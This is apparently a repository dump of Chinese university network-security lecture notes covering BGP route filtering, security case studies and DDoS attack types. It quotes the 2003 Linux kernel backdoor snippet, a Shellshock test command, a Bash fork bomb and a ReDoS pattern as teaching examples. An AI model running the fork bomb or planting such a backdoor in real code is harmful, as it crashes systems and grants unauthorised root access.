出界过滤:只声明本地前缀 345 | 346 | ### 3.4 路由摆动抑制:限制路由更新数量/频率,详见[RFC7196: Making Route Flap Damping Usable](https://tools.ietf.org/html/rfc7196) 347 | 348 | ### 3.5 最大前缀数量:限制来自邻居AS的路由数量 349 | 350 | - Peer:低于互联网中路由数量 351 | - Provider:高于互联网中路由数量 352 | - 超过限制后,可以出发日志记录,或关闭会话 353 | 354 | ### 3.6 AS路径过滤 355 | 356 | - 只从customer接受包含该cusotmer的路径 357 | - 不接受包含私有ASN的路径,除非为了实现黑洞 358 | - 不接受第一个AS不是相连邻居的路径,除非是IXP的 359 | - 不应以一个非空路径来通告一个起源前缀,除非有意为其提供传递 360 | - 不应路由泄露,详见本节第2部分 361 | - 不应改变BGP缺省行为,例如不应接收包含自己ASN的路径 362 | - [RFC7132: Threat Model for BGP Path Security](https://tools.ietf.org/html/rfc7132) 363 | 364 | ### 3.7 下一跳过滤 365 | 366 | - 缺省情况下,只接受路由信息的发送方为下一跳 367 | - 在共享网络中互联时,例如IXP,可以通告一个带有第三方(即非声明前缀的路由器)下一跳的前缀。一种典型的情景就是IXP中的路由服务器,只转发路由消息而不转发流量,详见[RFC7947: Internet Exchange BGP Route Server](https://tools.ietf.org/html/rfc7947)。 368 | - 黑洞也采用第三方下一跳 369 | 370 | ### 3.8 团体属性清理 371 | 372 | - 应清理入界路径中包含自己ASN的团体属性,并只允许这些团体属性作为customer/peer的信令机制 373 | - 不应删除其他团体属性。 374 | 375 | ### 3.9 MANRS 376 | 377 | - [MANRS](https://www.manrs.org)(Mutually Agreed Norms for Routing Security)是由互联网协会(Internet Soceity)发起的以抵御路由威胁的一项全球行动。 378 | - [MANRS操作手册](https://www.manrs.org/manrs/)给出了具体的路由安全操作指南,包含4个部分: 379 | 1. [阻止不正确路由信息传播(BGP安全操作)](https://www.manrs.org/guide/filtering/) 380 | 2. [阻止伪造源地址的流量(源地址验证,反向路径转发)](https://www.manrs.org/guide/antispoofing/) 381 | 3. [促进运营商间操作沟通与协作(注册联系信息)](https://www.manrs.org/guide/coordination/) 382 | 4. [促进全球路由信息验证(注册路由信息政策和RPKI等)](https://www.manrs.org/guide/global-validation/) 383 | 384 | 在IRR(Internet Routing Registry)上的前缀起源注册示例: 385 | 386 | ``` 387 | route6: 2001:db8:1000::/36 388 | descr: Provider 64500 389 | origin: AS64500 390 | mnt-by: MAINT-AS64500 391 | created: 2012-10-27T12:14:23Z 392 | last-modified: 2016-02-27T12:33:15Z 393 | source: RIPE 394 | ``` 395 | 路由政策注册示例: 396 | 397 | ``` 398 | aut-num: AS64500 399 | descr: Provide 64500 400 | remarks: ++ Customers ++ 401 | mp-import: from AS64501 accept AS64501[AR2] 402 | mp-export: to AS64501 announce ANY 403 | mp-import: from AS64502 accept AS64502 404 | mp-export: to AS64502 announce ANY 405 | remarks: ++ Peers ++ 406 | mp-import: from AS64511 accept AS64511:AS-ALL 407 | mp-export: to AS64511 announce S64500:AS-ALL 408 | remarks: ++ Transit ++ 409 | mp-import: from AS64510 accept ANY except FLTR-BOGONS 410 | mp-export: to AS64510 announce AS64500:AS-ALL 411 | mnt-by: MAINT-AS64500 412 | created: 2012-10-27T12:14:23Z 413 | last-modified: 2016-02-27T12:33:15Z 414 | source: RIPE 415 | ``` 416 | 417 | 高级路由政策注册示例: 418 | 419 | ``` 420 | mp-import: afi ipv4.unicast 421 | from AS64510 192.0.2.1 at 192.0.2.2 422 | action pref = 10; med = 0; 423 | community.append(64500:10); 424 | aspath.prepend(AS64500, AS64500) 425 | accept ANY except FLTR-BOGONS 426 | mp-export: protocol BGP4 into OSPF 427 | to AS64500 announce ANY 428 | default: to AS64510 192.0.2.100 at 192.0.2.101 429 | ``` 430 | 431 | --------------- 432 | 433 | -------------------------------------------------------------------------------- /internet-security/论文研读报告模板.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/论文研读报告模板.pptx -------------------------------------------------------------------------------- /introduction.md: -------------------------------------------------------------------------------- 1 | # 介绍 2 | 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2016-2018 4 | 5 | --- 6 | 7 | ## 课程评价 8 | 9 | 1. 期末考试:60% 10 | 2. 完成实验1:20% 11 | 3. 阅读论文并撰写报告:20% 12 | 13 | ### 计算机与网络安全4大学术会议 14 | 15 | - NDSS (The Network and Distributed System Security Symposium) [2016](http://www.internetsociety.org/events/ndss-symposium-2016/ndss-2016-programme) [2017](https://www.ndss-symposium.org/ndss2017/) [2018](http://www.ndss-symposium.org/ndss2018/) 16 | - USENIX Security (Symposium) [2016](https://www.usenix.org/conference/usenixsecurity16/technical-sessions) [2017](https://www.usenix.org/conference/usenixsecurity17) [2018](https://www.usenix.org/conference/usenixsecurity18/technical-sessions) 17 | - CCS (ACM SIGSAC Conference on Computer and Communications Security) [2016](https://www.sigsac.org/ccs/CCS2016/wp-content/uploads/2016/08/Open-TOC-CCS.html) [2017](https://www.sigsac.org/ccs/CCS2017/) [2018](https://www.sigsac.org/ccs/CCS2018/) 18 | - S&P (IEEE Symposium on Security and Privacy) (Oakland) [2016](http://www.ieee-security.org/TC/SP2016/program-papers.html) [2017](http://www.ieee-security.org/TC/SP2017/program-papers.html) [2018](https://www.ieee-security.org/TC/SP2018/) 19 | 20 | 从上面4个会议本年度论文中选取一篇,将论文PDF文件以 "学号-姓名-题目.pdf" 格式命名,并发给我。撰写一篇文字报告,并准备课堂报告。 21 | 22 | ## 安全概述 23 | 24 | ### 计算机安全(Computer Security)[[参考](https://en.wikipedia.org/wiki/Computer_security)] 25 | 26 | 也称为网络空间安全(cybersecurity)或IT安全,保护信息系统中软件、硬件、信息及服务。 27 | 28 | - 信息安全(InfoSec):保护信息的机密性,完整性,可用性,不可抵赖等等 29 | - 网络安全(Network security):计算机网络及网络可访问资源的安全 30 | - 网络战(Cyberwarfare):一国入侵另一国计算机或网络 31 | - 互联网安全(Internet security):互联网相关安全,包括浏览器安全以及网络安全等等 32 | - 移动安全(Mobile security):移动计算安全,特别是智能手机 33 | 34 | 典型漏洞与攻击:后门(Backdoor),拒绝服务(DoS),直接访问(Direct-access),窃听(Eavesdropping),伪装欺骗(Spoofing),篡改(Tampering),特权提升(Privilege escalation),钓鱼(Phishing),点击劫持(Clickjacking),社交工程(Social engineering),木马(Trojan),僵尸网络(Zombie/botnet),病毒/蠕虫/恶意软件(virus/worm/malware),高级持续性威胁(Advanced Persistent Threat) 35 | 36 | 典型安全机制:认证(Authentication),授权(Authorization),访问控制(Access Control),防火墙(Firewall),反病毒(Antivirus),入侵检测/阻止系统(Intrusion detection/prevention system),移动安全网关(Mobile secure gateway),沙箱(Sandboxing),纵深防御(Defense in depth),设计出安全(Security by design) 37 | 38 | 互联网安全术语表:[RFC4949: Internet Security Glossary, Version 2](https://tools.ietf.org/html/rfc4949) 39 | 40 | 41 | ### 安全事件统计 42 | 43 | Verizon Data Breach Investigations Report [2016](http://www.verizonenterprise.com/resources/reports/rp_dbir-2016-executive-summary_xg_en.pdf), [2018](https://www.verizonenterprise.com/resources/reports/rp_DBIR_2018_Report_execsummary_en_xg.pdf) 44 | 45 | 2018年统计: 46 | 47 | - 数据包含53,308起安全事故,2,216起数据泄露,65个国家。 48 | - 73%的攻击来自外部,其中一半的泄露背后涉及组织犯罪成员,12%涉及国家/政府。 49 | - 78%的人不会点击钓鱼链接,4%的人会点击任何钓鱼链接,通常会在16分钟内点击。 50 | - 68%的数据泄露事故在数月之后发现。 51 | - 勒索软件首次在2013年发现,在2018年已占被识别恶意软件的39%,例如[WannaCry](https://en.wikipedia.org/wiki/WannaCry_ransomware_attack)。 52 | - 9大安全事故分类: 53 | - Web App (414), Misc. Errors (347), Point of Sale (324), Everything Else (308), Privilege Misuse (276), Cyber-Espionage (171), Lost and Stolen Assets (145), Crimeware (140), Payment Card Skimmers (111), Denial of Service (0). 54 | 55 | 2016年的事故分类统计: 56 | 57 | - 已确认的数据泄露中63%与弱口令,缺省口令和口令被盗相关 58 | - 95%的泄露和86%的事故,可分为9中模式: 59 | - Miscellaneous errors - 17.7% (事故%) 60 | - 除损失资产之外,破坏安全的无意行为或错误 61 | - Insider and Privilege misuse - 16.3% 62 | - 内部人员滥用,以及赋予系统特权的共谋外部人员和合作人员 63 | - Phyical theft and loss - 15.1% 64 | - 笔记本,U盘,打印纸等丢失或盗窃 65 | - Denial of service - 15.0% 66 | - 使用僵尸网络来产生恶意流量 67 | - Crimeware - 12.4% 68 | - 没有进一步归类的恶意软件 69 | - Web app attacks - 8.3% 70 | - 例如内容管理系统或电子商务平台 71 | - Point-of-sale intrusions - 0.8% 72 | - 攻击者攻破运行POS应用的计算机或服务器,来获取付费信息 73 | - Cyber-espionage - 0.4% 74 | - 国家相关的间谍活动,通常获取知识产权 75 | - Payment card skimmers - 0.2% 76 | - 在ATM,加油站,POS终端上安装物理设备获取消费卡数据 77 | - 其他 - 13.8% 78 | 79 | CWE (Common Weakness Enumberation, 通用弱点列表)中[2011年Top25最危险软件错误](http://cwe.mitre.org/top25/index.html)中前10: 80 | 81 | 1. CWE-89: 不正确地无害化(neutralize)SQL命令中特殊元素 ('SQL注入') 82 | - CWE-78: 不正确地无害化操作系统命令中特殊元素 ('操作系统命令注入') 83 | - CWE-120: 未检查输入大小的缓冲区拷贝 ('经典缓冲区溢出') 84 | - CWE-79: 不正确地无害化(neutralize)生成网页的输入 ('跨站点脚本' XSS) 85 | - CWE-306: 关键功能缺乏认证(authentication) 86 | - CWE-862: 缺乏授权(authorization) 87 | - CWE-798: 采用硬编码的凭证(credentials) 88 | - CWE-311: 敏感数据缺乏加密 89 | - CWE-434: 危险类型文件无限制上传 90 | - CWE-807: 安全决策中相信不可信输入 91 | 92 | CVE (Common Vulnerabilities & Exposures,通用漏洞披露)2018统计 93 | 94 | - [50个产品](https://www.cvedetails.com/top-50-products.php?year=2018)中Top5:Debian Linux (472), Android (388), Firefox (303), Ubuntu (232), Sd 650 Firmware (197) 95 | - [50个厂商](https://www.cvedetails.com/top-50-vendors.php?year=2018)中Top5:Oracle (492), Debian (472), Google (421), Microsoft (401), IBM (343) 96 | 97 | CVE(Common Vulnerabilities & Exposures,通用漏洞披露)中2016弱点最多的: 98 | 99 | - [50个产品](http://www.cvedetails.com/top-50-products.php?year=2016)中前五名:Andriod(385个漏洞),Debian(290),Ubuntu(254),Flash(226),Opensuse(220) 100 | - [50个厂商](http://www.cvedetails.com/top-50-vendors.php?year=2016)中前五名:Oracle (569),Google (546),Adobe (418),Microsoft(348),Novell(347) 101 | 102 | ### 漏洞买卖 103 | 104 | 1. 漏洞赏金计划: 105 | - Google: < $20k 106 | - Microsoft: < $100k 107 | - Mazilla: $7.5k 108 | - Pwn2Own竞赛:$15k 109 | - Zero day initiative (ZDI), iDefense: $2k-$25k 110 | - 黑市: 111 | - iOS: $100k - $250k 112 | - Chrome/IE: $80k - $200k 113 | - Firefox/Safari: $60k-$150k 114 | - Windows: $60-120k 115 | 116 | ### 僵尸网络: 117 | 118 | [史上最大规模DDoS](http://arstechnica.com/security/2016/09/botnet-of-145k-cameras-reportedly-deliver-internets-biggest-ddos-ever/):根据2016年9月19日报道,超过14.5万被劫持摄像头发动了1.1Tbps的DDoS攻击 (2018年2月Github.com遭受1.3Tbps的DDoS攻击,但是反射攻击,而非由僵尸网络攻击。) 119 | 120 | 121 | [2015年Level3 Botnet Research Report](http://www.level3.com/~/media/files/white-paper/en_secur_wp_botnetresearchreport.pdf): 122 | 123 | - C&C流量最高国家:美国,乌克兰,俄罗斯,荷兰,德国,土耳其,法国,英国,越南,罗马尼亚 124 | - 平均大小1700,平均存活38天 125 | - 1000个bots,美国\$190/月,英国\$120/月 126 | 127 | [PPI (Pay-per-install) (USENIX Security 2011)](http://www.icir.org/vern/papers/ppi-usesec11.pdf) : 128 | 129 | - 美国/英国:$100-180 / 千台 130 | - 亚洲:$7-8 / 千台 131 | 132 | ### 安全概念 133 | 134 | - **安全**:在敌手出现时实现目标,或者说在敌手出现时,系统可正常工作 135 | - 安全思维: 136 | - Policy(策略):欲达成的目标,例如CIA:机密性(Confidentiality),完整性(Integrity),可用性(Availability) 137 | - Threat model(威胁模型):关于敌手能力的假设 138 | - Mechianism(机制):系统中用于实现政策的组件 139 | - Resulting goal(结果目标):在**威胁模型**下,攻击者无法违反**策略** 140 | - 安全是一个**否定**目标(保证不存在攻击) 141 | - 难以考虑到攻击者所有可能的攻击方式 142 | - 真实的威胁模型是开放的 143 | - 若无法做到**完美安全**,为什么还要做安全? 144 | - 了解系统的安全边界 145 | - 每个系统可能都有可利用弱点,理解系统能做的和不能做的 146 | - 管理安全风险 vs. 收益 147 | 148 | ### 威胁,漏洞与风险 149 | 150 | - 资产(Asset):是要被保护的,例如我的钱包 151 | - 威胁(Threat):是要保护来避免的,例如小偷要偷我的钱包 152 | - 漏洞(Vulnerability):保护中的弱点,例如我的钱包在书包里,但书包忘记拉锁 153 | - 风险(Risk):= 资产 + 威胁 + 漏洞 (的概率函数)。威胁利用漏洞来获得、损害或摧毁资产的概率函数,例如存在小偷从忘记拉锁的书包中偷走我的钱包的可能性 154 | - 没有威胁或漏洞时无法分析风险 155 | 156 | --- 157 | ## 安全问题1:违背政策 158 | 159 | ### Sarah Palin的email账号破解 160 | 161 | 2008年9月,美国共和党副总统候选人莎拉·佩林的雅虎私人电子邮箱遭黑客入侵。黑客可能是一名田纳西州民主党议员正在念大学的儿子戴维·克内尔。[[相关报道]](https://en.wikipedia.org/wiki/Sarah_Palin_email_hack) 162 | 163 | 攻击者利用雅虎密码遗忘提示功能和网络搜索引擎:佩林的邮箱密码提示问题包括她的生日,以及她和丈夫托德在何处相识。为副总统候选人的佩林已无太多隐私可言,可在谷歌上轻松找到答案。 164 | 165 | FBI发现了攻击者在代理服务器上的踪迹。 166 | 167 | **政策违背:真正用户需要知道用户名与口令 --> 知道密码提示问题答案** 168 | 169 | ### Mat Honan的Apple和Amazon账号破解 170 | 2012年一位网站主编Mat Honan的Google,Twitter, Apple账号都被破解。攻击者用这些账号发表种族言论,并删除了其iPhone等设备上数据。[[相关报道]](https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/all/) 171 | 172 | 173 | - Twitter账号:采用Gmail邮箱 174 | - Gmail密码重置:发送一个验证链接到备份邮箱。Mat的备份邮箱是Apple的me.com账号 175 | - Apple密码重置:需要账单地址(个人住址可以查到),信用卡末4位(未知) 176 | - Amazon密码重置:提供用户的任意一张信用卡账号(以及用户名,账单地址等)。在一个账号上添加信用卡,不需要密码(电话服务)。登录后,Amazon会显示所有信用卡末4位。 177 | 178 | **政策违背:邮箱安全-->备份邮箱-->账单地址+信用卡末4位-->Amazon密码-->任意信用卡** 179 | 180 | ### Twitter上@N 账号劫持 181 | 182 | 2014年,Twitter上的 @N 账号(有人出价$50000)被劫持。账号所有者(受害者)Naoki Hiroshima在尝试夺回账号失败后,将用户名改为@N\_is\_stolen。Naoki通过与攻击者的邮件交流了解了其攻击过程。[[相关报道]](https://medium.com/@N/how-i-lost-my-50-000-twitter-username-24eb09e026dd#.d7lhyudko) 183 | 184 | - @N 账号邮箱是受害者在GoDaddy上个人域名 185 | - 个人域名被劫持,因而邮件服务器被更改,账号邮箱也就被劫持 186 | - GoDaddy账号恢复需要提供信用卡末6位 187 | - 攻击者打电话给PayPal,获得了信用卡末4位 188 | - 攻击者打电话给GoDaddy,说信用卡丢了,但记得末4位;GoDaddy让攻击者来回忆前2位,可以一直猜,直到猜对(攻击者只猜了两次就蒙对了) 189 | 190 | **政策违背:账号安全-->邮箱安全-->域名安全-->信用卡末6位-->信用卡末4位** 191 | 192 | ### 2003年Linux后门事件 193 | 2003年时,Linux采用代码维护系统BitKeeper,提交代码需经过审查。部分开发者为了方便另建立了一个CVS来维护源代码。攻击者在CVS所维护源码中插入如下代码,将无效调用`wait4()`的进程赋予root权限。 194 | 195 | ```c 196 | if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) 197 | retval = -EINVAL; 198 | ``` 199 | 不过,由于这个修改未经过审批流程,随后被发现。[[相关报道]](https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/) 200 | 201 | **政策违背:BitKeeper --> CVS** 202 | 203 | --- 204 | 205 | ## 安全问题2:违背威胁模型/假设 206 | 207 | ### 未考虑人的因素 208 | 209 | - 通过邮件/电话的电信诈骗 210 | - 攻击者通过致电客服来重置密码 211 | - 胶皮管密码分析 212 | 213 | 2016年3月,希拉里竞选主席[波德斯塔(Podesta)电子邮件泄露](https://en.wikipedia.org/wiki/Podesta_emails)。攻击者俄罗斯黑客组织Fancy Bear(奇幻熊)采用鱼叉式网络钓鱼攻击,向波德斯塔发送一封伪造的Gmail警告邮件,其中包含一个链接指向一个伪造的登录页面。同年10月,[维基解密公开了泄露的邮件](https://wikileaks.org/podesta-emails/)。 214 | 215 | 216 | ### 1983年图灵演说 217 | 218 | [Reflections on Trusting Trust by Ken Thompson](http://www.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf) 219 | > To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software. 220 | 221 | - 在发明C语言过程中,有一个“鸡生蛋,蛋生鸡”问题,即如何用C语言来实现C语言的编译器。 222 | - 原理上,需要一个程序,能够复制自己,并在每次复制时‘学习’一点新特性,逐渐演化成一个“产生编译器的程序”。 223 | - Ken在该程序中植入了一个木马,能够用特定密码来‘通过’`Login`函数检查。 224 | - 即使有人发现了木马并更改了代码,但若用有木马的编译器编译,则新编译器中仍有木马! 225 | 226 | ### 随时间变化的计算假设 227 | 228 | - 自80年代中期,MIT Kerberos系统使用56比特DES密钥 229 | - 但目前2^56已经不够大了,1天之内就能破解 230 | 231 | ### 所有SSL证书CA都可信? 232 | 233 | - 连接SSL支持的站点(HTTPS)需要验证CA颁发的证书(身份和公钥的数字签名) 234 | - 多数浏览器相信上百个CA,任何一个CA被攻破,可伪造任何站点证书 235 | - 2011年,两个CA,[DigiNotar](http://en.wikipedia.org/wiki/DigiNotar)和[Comodo](http://en.wikipedia.org/wiki/Comodo_Group),发布了包括google, yahoo等的假证书 236 | - 2012年,一个CA,[Trustwave](http://www.h-online.com/security/news/item/Trustwave-issued-a-man-in-the-middle-certificate-1429982.html)发布了一个对任意网站都有效的根证书 237 | - 2015年,埃及MSC Holding使用CNNIC签发的中级证书签发gmail假证书,导致Chrome和Firefox移除的CNNIC根证书 [[相关报道]](https://en.wikipedia.org/wiki/China_Internet_Network_Information_Center) 238 | - 后面我们会介绍[CA增强方案](web-security/tls.md) 239 | 240 | ### 假设硬件是可信的 241 | 242 | - 若NSA要干坏事,则该假设很可能不成立。NSA下属的网络攻击部门TAO(Office of Tailored Access Operations,定制接入行动办公室)掌握大量硬件攻击手段,详见[NSA ANT目录](https://en.wikipedia.org/wiki/NSA_ANT_catalog) 243 | - 2016年9月,Cisco在一个关于路由器故障报告中提到宇宙辐射可能是原因之一。这类故障称为[“Single event upset (单粒子翻转)”](https://en.wikipedia.org/wiki/Single_event_upset)。[[英文报道]](http://www.networkworld.com/article/3122864/hardware/cisco-says-router-bug-could-be-result-of-cosmic-radiation-seriously.html),与[[中文报道]](http://www.leiphone.com/news/201609/AtW1F5zt6GS1ru9Y.html) 244 | 245 | ### 假设密码学中充分的随机性 246 | 247 | - 由于产生密钥或签名时熵不足,研究者发现0.75%的TLS证书共享密钥,获得0.5%的TLS主机和0.03%的SSH主机的RSA私钥,1.03%的SSH主机的DSA私钥,详见[Mining Your Ps and Qs: Detection of Widespread Weak Keys in Network Devices (USENIX Security 2012)](https://factorable.net/weakkeys12.extended.pdf) 248 | 249 | ### 认为自主开发软件/系统更安全 250 | 251 | - [XcodeGhost](https://en.wikipedia.org/wiki/XcodeGhost)在Apple的Xcode开发环境中注入恶意代码,并感染超过4000个应用,包括微博和网易云音乐。这些应用开发者从百度云和迅雷下载Xcode。尽管软件是自主开发的,但开发系统不是。 252 | 253 | ### 不上网/隔离就安全了? 254 | 255 | - 攻击伊朗核设施的[震网蠕虫(Stuxnet)](https://en.wikipedia.org/wiki/Stuxnet)通过U盘传播 -> Windows感染 -> Siemens PCS 7 SCADA工控软件 -> Siemens设备控制器 256 | 257 | ### 没有电就安全了? 258 | 259 | - [金唇 (The Thing,the Great Seal bug)](https://en.wikipedia.org/wiki/The_Thing_(listening_device)):1945年前苏联在赠送给美国大使馆的一个国徽礼物中安装了窃听器,该窃听器利用外部电磁波来获取能量,并将窃听到的信息发送出去(一种射频技术,是RFID的前身) 260 | 261 | --- 262 | 263 | ##安全问题3:机制问题(bug) 264 | 265 | ### Apple iCloud 口令猜测速率限制 266 | 267 | - 人们通常采用弱密码,可以通过1K-1M次猜测得到 268 | - iCloud有速率限制功能,但iCloud有许多API,其中“Find my iPhone”服务中的API忘了实现速率限制 [[详情]](https://github.com/hackappcom/ibrute) 269 | 270 | ### 在花旗集团信用卡站点缺失访问控制检查 271 | 272 | - 花旗集团允许信用卡用户来在线访问其信用卡账户(用户名+口令) 273 | - 账户信息页的URL中包括一些数字,这些数字与账号有关,而服务器不检查用户是否真的已经登录 274 | - 攻击者尝试不同的数字,来获得不同人的账户信息 275 | - 错误威胁模型? 276 | - 若攻击者通过浏览器访问站点,则系统是安全的 277 | - 若攻击者自己构造新的URL,则系统不安全 278 | - 很难说是错误威胁模型,还是bug [[详情]](https://bitcoin.org/en/alert/2013-08-11-android) 279 | 280 | ### 安卓Java SecureRandom弱点导致比特币盗窃 281 | 282 | - 在安卓中许多比特币钱包应用使用Java的SecureRandom API 283 | - 系统有时忘记给PRNG设定种子 284 | - 导致用户私钥容易被猜中,攻击者将用户的比特币转给自己 [[详情]](https://bitcoin.org/en/alert/2013-08-11-android) 285 | 286 | ### 心脏出血(Heartbleed) 287 | 288 | - TLS的心跳扩展中,一方(客户端)发送心跳请求,包含一个负载+负载长度,另一方(服务器)用相同内容做应答 289 | - CVE-2014-0160: 服务器未检查长度是否正确,过长的长度会导致服务器内存中数据被当做负载传递给客户端 [[详情]](https://en.wikipedia.org/wiki/Heartbleed) 290 | 291 | ### Shellshock 292 | 293 | - 2014年9月24日公开的Bash shell中一系列安全漏洞,利用处理环境变量中函数定义之后的命令,攻击者可执行任意代码 [[详情]](https://en.wikipedia.org/wiki/Shellshock_(software_bug)) 294 | - CVE-2014-6271: 环境变量声明中,函数之后命令会被执行 295 | - `env x='() { :;}; echo vulnerable' bash -c "echo test"` 296 | - 有漏洞Bash会输出`vulnerable`;否则,输出`test` 297 | - [[代码解释]](https://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it-insecure) 298 | 299 | ### 缓冲区溢出(buffer overflow) 300 | 301 | - 下节课学习[缓冲区溢出](buffer-overflow/buffer-overflow-1.md) 302 | 303 | --- 304 | 305 | 306 | -------------------------------------------------------------------------------- /network-security/ddos.md: -------------------------------------------------------------------------------- 1 | # DDoS(分布式拒绝服务)攻防 2 | 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2016 4 | 5 | --- 6 | 7 | ## 1. DDoS事件 8 | 9 | US-CERT定义的DoS攻击症状:网络性能恶化、特定网站不可用、不能访问任意网站、垃圾邮件数量激增、网络连接中断、长期决绝访问或任何互联网服务。 10 | 11 | - 1999年8月17日,[Trinoo](https://en.wikipedia.org/wiki/Trinoo)网络针对[明尼苏达大学校园网发动第一次真正的DDoS攻击](http://www.cert.org/historical/incident_notes/IN-99-04.cfm) 12 | - 2000年2月,Yahoo!, eBay和Amazon遭受DDoS攻击,攻击者为[MafiaBoy](https://en.wikipedia.org/wiki/MafiaBoy) 13 | - 2002年10月,13个根服务中9个遭受DDoS攻击,攻击者为[MafiaBoy](https://en.wikipedia.org/wiki/MafiaBoy) 14 | - 2010年12月,“复仇阿桑奇行动”(Operation Avenge Assange),[Aonymous](https://en.wikipedia.org/wiki/Anonymous_(group))针对关闭维基解密捐助支付的PayPal和其他金融服务公司发动了DDoS攻击,属于[“报复行动”](https://en.wikipedia.org/wiki/Operation_Payback)的一部分 15 | - 2013年3月,欧洲反垃圾邮件组织Spamhaus对BBC宣称[“正遭受300G+的DDoS攻击”](https://www.spamhaus.org/news/article/695/answers-about-recent-ddos-attack-on-spamhaus),攻击手段是[僵尸网络和DNS反射攻击](https://blog.cloudflare.com/the-ddos-that-knocked-spamhaus-offline-and-ho/) 16 | - 2014年2月,[CloudFlare客户遭受400G的NTP Flood攻击](https://blog.cloudflare.com/technical-details-behind-a-400gbps-ntp-amplification-ddos-attack/) 17 | - 2015年3月末,GitHub上反审查工具遭受最大规模DDoS攻击,[相关报道](http://arstechnica.com/security/2015/03/github-battles-largest-ddos-in-sites-history-targeted-at-anti-censorship-tools/),[攻击时GitHub状态页](https://status.github.com/messages/2015-03-30) 18 | - 2016年9月中旬,超过14.5万被劫持闭路电视摄像头发动了1.1Tbps的DDoS攻击,成为[史上最大规模DDoS](http://arstechnica.com/security/2016/09/botnet-of-145k-cameras-reportedly-deliver-internets-biggest-ddos-ever/);实施攻击的恶意软件名为[“Mirai”](https://krebsonsecurity.com/2016/10/who-makes-the-iot-things-under-attack/) 19 | - 2016年10月21日,DNS服务商[Dyn遭受DDoS攻击](https://en.wikipedia.org/wiki/October_2016_Dyn_cyberattack)导致美国大量网站瘫痪,攻击源于大量被劫持摄像头等物联网设备,攻击软件同样为[“Mirai”](https://krebsonsecurity.com/2016/10/who-makes-the-iot-things-under-attack/) 20 | 21 | [Qsmind DDoS攻击年鉴](http://www.qsmind.com/index.html) 22 | 23 | ## 2. 攻击分类 24 | 25 | 参考资料:[RFC4732: Internet Denial-of-Service Considerations (2006)](https://tools.ietf.org/html/rfc4732) 26 | 27 | ### 攻击链路 28 | 29 | - 直接发送大量流量令链路拥塞,导致关键服务或路由故障 30 | 31 | ### 攻击终端系统 32 | 33 | - 利用软件漏洞 34 | - [Ping of death](https://en.wikipedia.org/wiki/Ping_of_death)攻击发送大于65535字节的ping包(ICMP echo request),导致接收方在IP分片重组时缓冲区溢出 35 | - [Teardrop攻击](https://en.wikipedia.org/wiki/Denial-of-service_attack#Teardrop_attacks)发送破碎、重叠、过大的IP分片,导致IP分片重组时缓冲区溢出 36 | - 耗尽应用资源:单个应用程序的内存,CPU,磁盘,进程/线程数,最大连接数被耗尽 37 | - 一个FTP服务器可能设定最大同时连接数,例如10年以前还需要从FTP下载电影,校内的FTP都有连接数限制 38 | - [Fork bomb](https://en.wikipedia.org/wiki/Fork_bomb):也叫“Wabbit”,自复制程序;例如,在Bash中执行 “`:(){ :|:& };:`” 39 | - 耗尽操作系统资源: 40 | - [TCP SYN flood](https://en.wikipedia.org/wiki/SYN_flood)引起服务器生成很多半开连接,占用所有系统可用连接 41 | - [LAND攻击](https://en.wikipedia.org/wiki/LAND):源地址伪造为受害者地址,即目的地址和源地址相同 42 | - 基于中断的内核处理大流量时导致“活锁”,CPU都用来处理包接收中断,而不是处理收到的包 43 | - [Slowloris(懒猴)](https://en.wikipedia.org/wiki/Slowloris_(computer_security)):HTTP GET时只发送部分请求,缓慢更新,永不关闭 44 | - HTTP SlowPOST:也称为[R-U-Dead-Yet (RUDY)](https://en.wikipedia.org/wiki/Denial-of-service_attack#R-U-Dead-Yet.3F_.28RUDY.29),Post时以极慢速度(1byte/110s)来发送消息 45 | - [BlackNurse](http://soc.tdc.dk/blacknurse/blacknurse.pdf):利用ICMP端口不可达消息(Type3,Code3)对防火墙实施攻击,40~50pps就可导致CPU过载 46 | - [ReDoS](https://en.wikipedia.org/wiki/ReDoS):利用指数复杂性的正则表达式消耗计算资源,可用来攻击IDS等,例如对于正则表达式“`^(a+)+$`”,输入`aaaaaaaaaaaaaaaaX`有65536个可能路径 47 | - [TDoS](https://en.wikipedia.org/wiki/Denial-of-service_attack#Telephony_denial-of-service_.28TDoS.29):利用VoIP来“呼死你” 48 | - 触发锁死与限额耗尽: 49 | - 用户认证机制在多次尝试失败后会锁死账号 50 | - 租用Web服务有时有流量限额,耗尽后服务会被关闭 51 | - DDoS攻击工具: 52 | - [Trinoo](https://en.wikipedia.org/wiki/Trinoo):主从式DDoS攻击程序集 53 | - [Tribe Flood Network](https://en.wikipedia.org/wiki/Tribe_Flood_Network):实施ICMP/SYN/UDP flood等多种攻击的程序集 54 | - [LOIC低轨道离子炮](https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon):开源工具被用于匿名者的“报复行动” 55 | - [HOIC高轨道离子炮](https://en.wikipedia.org/wiki/High_Orbit_Ion_Cannon):2012年开发以取代LOIC,匿名者用其攻击美国司法部 56 | 57 | -- 58 | ### Shrew Attack 59 | 60 | Shrew(鼩鼱,qu2jing1,一种像老鼠的有毒小动物) 61 | 62 | 参考资料: 63 | [“Low-Rate TCP-Targeted Denial of Service Attacks (SIGCOMM 2003)”[期刊版]](http://www.cs.northwestern.edu/~akuzma/doc/ShrewToN.pdf) 64 | 65 | **TCP RTO计算** 66 | 67 | 详见[RFC6298: Computing TCP's Retransmission Timer (2011)](https://tools.ietf.org/html/rfc6298) 68 | 69 | - TCP在RTO(Retrasmission TimeOut)时间内未收到反馈,则重传 70 | - 在一次RTT测量之前,RTO <- minRTO (1秒) 71 | - 首次RTT测量R, 72 | - SRTT <- R 73 | - RTTVAR <- R/2 74 | - RTO <- SRTT + 4*RTTVAR 75 | - 每次后续的RTT测量R' 76 | - SRTT <- (1-alpha) * SRTT + alpha * R' 77 | - RTTVAR <- (1-beta) * RTTVAR + beta * |SRTT - R'| 78 | - alpha=1/8 and beta=1/4 79 | - RTO <- SRTT + 4*RTTVAR 80 | - 若计算RTO < minRTO,则RTO <- minRTO 81 | - 若丢包,RTO <- RTO * 2,但不超过最大值(60秒) 82 